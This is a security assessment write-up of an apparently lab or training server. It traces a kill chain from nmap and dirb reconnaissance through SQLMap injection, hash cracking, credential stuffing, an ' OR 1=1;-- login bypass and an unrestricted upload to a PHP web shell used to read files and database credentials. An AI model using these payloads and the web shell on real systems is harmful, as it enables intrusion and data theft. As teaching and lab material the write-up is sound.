Bicsma

Security assessment report

Tess Sluijter-Stek

UniXerius

Table of contents

Introduction

In November of 2025, I was tasked with performing a security assessment of the Bicsma server, accessible at IP address 10.10.237.141. The scope of this assessment is restricted to this one, single computer system though all (network) services on the host are fair game.

Deliverables

The assignment from Bicsma is clear: the goal of this exercise is to prove whether it's possible for a malicious actor to get their hands on the secret soda recipe stored on the server.

The assignment will be completed with the delivery of a report which details the kill chain, the path from zero-to-endgoal.

This report is not representative of a true penetration test report. While the kill chain is shown and thoroughly explained, no formal reporting of vulnerabilities is provided. No risk ratings, no CVSS scores, nor mitigation suggestions are offered in this limited report.

Rules of engagement and methods

In lieu of a separate and exhaustive contract, scope definition and rules of engagement, we can at least make the following statements about the methods used.

- All testing is performed from a workstation owned by Unixerius. This workstation is properly secured against malware and from access by unauthorized parties.
- Access to the target server will take place through a VPN connection, made from the workstation directly into the network that hosts the target system.
- All data which is witnessed or collected during the assessment will be deleted upon completion of the assignment. Only pseudo-anonimized data will remain, for the purpose of reporting.
- Testing will be non-destructive and non-disruptive. Denial of service will be avoided at all cost. Password brute-forcing will be severely limited or not used at all.

Reading this document

Code blocks are clearly indicated and will contain commands or configuration files.

```
---
- name: code block
  content: "This is a code block."
```

The kill chain for Bicsma's soda recipe

Reconnaissance: NMap

We are performing a "black box" test: we are told that our target system is 10.10.237.141. We suspect there may be at least one web application is involved, but we are not sure which one(s) nor how to reach them.

To get some quick results, I run the most basic NMap scan against my target. I use the flag -Pn to skip "ping testing", because I know the target server is reachable.

```
nmap -Pn 10.10.237.141
```

To get more details, I run a new scan with some additional flags which we saw in class. For example: -sC to automatically run some extra testing scripts, and -A to do OS detection. I also scan a little wider than the default 1000 top ports.

```
nmap -Pn -sC -sV -A --top-ports 2000 10.10.237.141
```

Once these scans are finished I have learned a few details:

- An OpenSSH daemon is available on port 22.
- An Apache web server is available on port 80.
- This web server has a "robots.txt" file which discloses two file paths to me.
- On port 111 I can find something which acts like a Unix/Linux RPC daemon.

For now I will focus on the web application(s) running on the web server. At this point my sitemap consists of the following URLs:

```
http://10.10.237.141
      /index.html
      /robots.txt
      /employees/           # from robots.txt
      /employeemail/        # from robots.txt
```

Reconnaissance: browsing

Using a web browser to visit http://10.10.237.141 does not show much interesting. It shows the default Apache-on-Ubuntu welcome-page.

Browsing to http://10.10.237.141/employeemail/ shows the login page of what is, presumably, a webmail interface for Bicsma employees.

Browsing to http://10.10.237.142/employees/ shows the landing page of a website intended for employees. The page has three tabs: home, files, login.

The "home" tab has an explanation about the server and has a message specifically telling the reader that the secret recipe is in fact on this server. It tells us that the file can be found in the "recipe" directory at the root of the system's hard drive.

Luckily this directory is not accessible via http://10.10.237.141/../../../../../../../recipe/

Reconnaissance: scanning the website(s)

To search for files and directories which are not directly linked as part of the website(s), I use DirBuster from the commandline. I use the default settings and wordlist, though using different settings might result in more findings. For now this approach is fine, and the sitemap gets expanded.

```
dirb "http://10.10.237.141"
```

De verder uitgebreide sitemap:

```
http://10.10.237.141
      /index.html
      /robots.txt
      /employees/           # from robots.txt
      /employees/index.php  # via browsing
      /employees/uploads/   # from dirb
      /employeemail/        # from robots.txt
      /javascript/          # from dirb
      /javascript/jquery/   # from dirb
      /phpmyadmin/          # from dirb
      /server-status/       # from dirb
```

The "uploads" folder is accessible through a web browser. The folder is set as browseable, meaning that if no index.html file exists any visitor can see all files in the directory. Currently there are zero files in the folder.

The "phpmyadmin" folder is secured using a "basicauth" popup which asks for a username and password. I theorize that this is implemented using the ".htaccess" file of Apache.

I actually forgot to further investigate the "server-status" folder.

Reconnaissance: wat doet "employees/index.php"?

While browsing the Bicsma employees site at http://10.10.237.141/employees/index.php I notice that the tabs have interesting differences in their URLs.

- Home: ./index.php?p=content&pageid=1
- Files: ./index.php?p=upload.php
- Login: ./index.php?p=login.php

Based on this I feel that there may be additional PHP files to add to the sitemap. And yes, these files are indeed accessible directly via the browser.

```
http://10.10.237.141
      /index.html
      /robots.txt
      /employees/           # from robots.txt
      /employees/index.php  # via browsing
      /employees/login.php  # via browsing
      /employees/upload.php # via browsing
```

< continued on next page >

```
...
/employees/uploads/   # from dirb
/employeemail/        # from robots.txt
/javascript/          # from dirb
/javascript/jquery/   # from dirb
/phpmyadmin/          # from dirb
/server-status/       # from dirb
```

I also wonder if there's other page IDs than 1. Looking at the source code of the Home tab, I do see a comment in the code. There's a link to "pageid=2" which has been disabled; maybe this features hasn't been implemented yet.

Browsing to http://10.10.237.141/employees/index.php?p=content&pageid=2 shows me the same basic UI of the website, but the content has been replaced with two PHP errors. These errors tell me exactly where on the server the file "index.php" is stored.

```
/var/www/html/employees/index.php
```

I used BurpSuite's Intruder function to automatically search for other content. I did this by marking the number "1" in the "pageid" variable as the payload position. The payload was then set to the type "numbers", with values 0-100 in steps of 1. BurpSuite tried, but only pageid "1" has some actual content; all other IDs have not yet been filled and lead to the PHP error messages.

I do have two conclusions:

- The variable "p" in the URL seems to serve two functions: either include an existing PHP file, or include content from another source.
- When "p=content", a second variable "pageid" is used to indicate which content to load. There are no clear signs yet what source this might be. It could be from a database, it could be from something entirely different.

Reconnaissance: Nikto

While I was working on the aforementioned research, I also asked Nikto to do a web application vulnerability scan.

```
nikto --host "http://10.10.237.141/employees/"
```

This did not find any big problems or new things which I didn't know yet. Except for a non-standard header with a reference to "EHF", the name of the Bicsma-related training course.

Reconnaissance: ZAP

I forgot to run a ZAP web application vulnerability scan. This may have found the SQL injection which I will perform next.

Exploitation: SQL injection on "pageid"

As mentioned before, I had the theory that the GET variable "pageid" might be used in code to load content from some other source. This could be a database, but I'm not sure yet. We might as well give it a shot though, with SQLMap.

In the following command, I've just pointed SQLMap at the full URL for the welcome-page of the Bicsma employee site. I have added an asterisk "*" after the number 1, to indicate that this is the parameter I want to test.

```
sqlmap -u 'http://10.10.237.141/employees/index.php?p=content&pageid=1*'
```

SQL map indicates that the variable does look like it goes to a database system (it detects MySQL) and that it probably is vulnerable.

```
[14:10:45] [INFO] target URL appears to have 3 columns in query
[14:10:45] [INFO] URI parameter '#1*' is 'Generic UNION query (NULL) - 1 to 20
columns' injectable
URI parameter '#1*' is vulnerable.
```

Next I see if SQLMap can show me the tables in the database.

```
sqlmap -u 'http://10.10.237.141/employees/index.php?p=content&pageid=1*' --
tables
```

It can! It shows me there are three tables in the database "web": content, flag and users.

Let's use SQLMap to dump the contents of these tables.

```
sqlmap -u 'http://10.10.237.141/employees/index.php?p=content&pageid=1*' --dump
```

This finds:

```
Database: web
Table: flag
[1 entry]
+----------------------------------------------+
| id                                           |
+----------------------------------------------+
| EHF-ff135d< REDACTED >                       |
+----------------------------------------------+

Database: web
Table: users
[6 entries]
+----+-- ----------+-----------------------------------------------------
| id | email       | name        | password              | username     |
+----+-------------+-----------------------------------------------------
```

< continued on next page >

```
| 1  | <REDACTED>  | Administrator   | ctf=b0d3<REDACTED> | admin
| 2  | <REDACTED>  | Carl Smith      | ctf=8621<REDACTED> | carlsmith
| 3  | <REDACTED>  | Nicole Lawford  | ctf=4cb9<REDACTED> | nlawford
| 4  | <REDACTED   | Brad Ruth       | ctf=6eea<REDACTED> | bradruth
| 5  | <REDACTED>  | Alice Jenkins   | ctf=8afa<REDACTED> | alicejenkins
| 6  | <REDACTED>  | Temporary Admin | ctf=eb0a<REDACTED> | tempadmin
+----+-------------+-----------------+--------------------+-------------+
```

I've found both an EHF-flag and a number of what looks like user accounts with the hashed passwords.

Exploitation: cracking the password hashes

I realize that using an external website to lookup hashes could be problematic. On the other hand one can reason: these hashes are out there already and I am not sharing any information about the user accounts they belong with.

In this case I copied the hashes to the https://crackstation.net website and performed a lookup. The website's database has all but one of the hashes.

User	Status	First three chars
admin	Unknown	-
carlsmith	Cracked	dra<REDACTED>
nlawford	Cracked	cha<REDACTED>
bradruth	Cracked	qwe<REDACTED>
alicejenkins	Cracked	pri<REDACTED>
tempadmin	Cracked	mas<REDACTED>

Exploitation: credential stuffing on webmail

Given that I have found email addresses and passwords, I thought it's a good idea to try these credentials on the webmail website.

User	Status	Info found
admin	Stolen	Flag EHF-049bef<REDACTED>
carlsmith	Cracked	Flag EHF-049bef<REDACTED>
nlawford	Cracked	Flag EHF-049bef<REDACTED>
bradruth	Cracked	Flag EHF-049bef<REDACTED>
alicejenkins	Cracked	Flag EHF-049bef<REDACTED>
tempadmin	Cracked	Password of "admin" user.

The tempadmin user had the password for "admin" in their mailbox: bic<REDACTED>.

All other user accounts only had an EHF flag in their inboxes.

Exploitation: credential stuffing on PHPMyAdmin

I thought I'd also try the usernames, plus email addresses, and passwords on PHPMyAdmin.

None of these work on the BasicAuth login form which blocks access to the PHPMyAdmin web interface. However, it turns out that the BasicAuth is protected by a very weak password.

User	Status	First three chars
admin (PHPMyAdmin basicauth)	Cracked	adm<REDACTED>

I again tried all usernames, email addresses and their passwords on the PHPMyAdmin login page. None worked, which means I should go look for the username and password which the Bicsma web application itself uses.

Exploitation: SQL injection on the webmail login

I haven't performed this attack myself, but someone else in my team noticed that the webmail login page is vulnerable to SQL injection.

You can login to the first email box by leaving the password blank and entering the following characters are the email address:

```
' OR 1=1;--
```

Exploitation: credential stuffing on Bicsma website

I visited http://10.10.237.141/employees again, this time going for the login tab. All usernames and passwords which we had found do work on the web interface.

Logging in with the "admin" user account gives more access than other users: under the files tab, an upload form becomes unlocked. This coincides nicely with DirBuster, which has found the directory http://10.10.237.141/employees/uploads/.

Exploitation: uploading files

Using a manual process, I created a few sample files to test whether the upload form has any limitations. I created a JPG file, a TXT file, HTML, PHP, PHTML and more.

All of these files were accepted by the upload script and deposited into the uploads directory. Browsing to the uploads directory I could access every file and the web server software rendered the content as normal.

Exploitation: web shell

I created a file called "shell.php" with the following contents:

```
<html></body>
<a>Starting up!</a>
<?php
if (isset($_GET['cmd']))
{
  echo "Command found. Running: ".$_GET['cmd']." for you...";
  system($_GET['cmd']." 2>&1");
  echo "<br />Did it run?";
}
?>
<html></body>
```

I uploaded this using the upload form, to https://10.10.237.141/employees/uploads/shell.php.

Accessing that URL shows the HTML content "Starting up!". As expected.

The following URL calls were made to look around the system.

http://10.10.237.141/employees/uploads/shell.phtml?cmd=whoami
http://10.10.237.141/employees/uploads/shell.phtml?cmd=pwd
http://10.10.237.141/employees/uploads/shell.phtml?cmd=ls
http://10.10.237.141/employees/uploads/shell.phtml?cmd=ls /recipe

Exploitation: stealing the secret recipe

The following command gets you the actual, secret recipe file.

http://10.10.237.141/employees/uploads/shell.phtml?cmd=cat /recipe/bicsma-cola-recipe.txt

The file contains flag EHF-b46a<REDACTED>.

Exploitation: MySQL database account

The PHP code of the Bicsma website needs database credentials to connect to the MySQL database. These credentials need to be provided to files such as index.php and login.php. I used the web shell to show the contents of the files.

http://10.10.237.141/employees/uploads/shell.phtml?cmd=cat ../login.php ../login.php

The web browser partially renders the output, but you can make the full source visible by right-clicking the page and selecting "view source". In the PHP code you will find the credentials for the MySQL database.

User	Status	First three chars
root (MySQL	Stolen	tyT<REDACTED>